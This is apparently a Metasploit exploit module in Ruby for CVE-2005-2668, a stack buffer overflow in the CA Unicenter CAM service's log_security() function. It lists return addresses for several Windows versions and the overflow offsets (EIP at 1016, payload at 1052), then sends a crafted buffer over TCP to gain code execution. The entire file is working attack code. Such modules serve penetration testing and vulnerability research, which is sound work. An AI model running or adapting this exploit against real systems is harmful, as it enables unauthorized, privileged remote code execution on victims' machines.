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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
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      'Description'    => %q{
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          This module exploits a vulnerability in the CA CAM service
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        by passing a long parameter to the log_security() function.
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        The CAM service is part of TNG Unicenter. This module has
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        been tested on Unicenter v3.1.
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      },
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      'Author'         => [ 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2005-2668'],
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          ['OSVDB', '18916'],
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          ['BID', '14622'],
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 1024,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'      => %w{ win },
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      'Targets'        =>
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        [
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          # W2API.DLL @ 0x01950000 - return to ESI
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          ['W2API.DLL TNG 2.3',  { 'Platform' => 'win', 'Ret' => 0x01951107 }],
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          # Return to ESI in ws2help.dll
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          ['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
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          ['Windows XP SP0-SP1 English',   { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
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          ['Windows XP SP2 English',       { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
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          ['Windows 2003 SP0 English',     { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
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        ],
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      'DisclosureDate' => '2005-08-22',
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      'DefaultTarget' => 0))
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  end
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  def check
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    connect
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    ack = sock.get_once || ''
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    disconnect
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    (ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    ack = sock.get_once
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    if (ack != "ACK\x00")
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      print_status("The CAM service is not responding")
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    end
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    buf = rand_text_english(4096, payload_badchars)
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    # Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
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    buf[ 1016, 4 ] = [target.ret].pack('V')
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    buf[ 1052, payload.encoded.length ] = payload.encoded
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    sock.put("\xfa\xf9\x00\x10" + buf + "\x00")
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    handler
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    disconnect
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  end
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end
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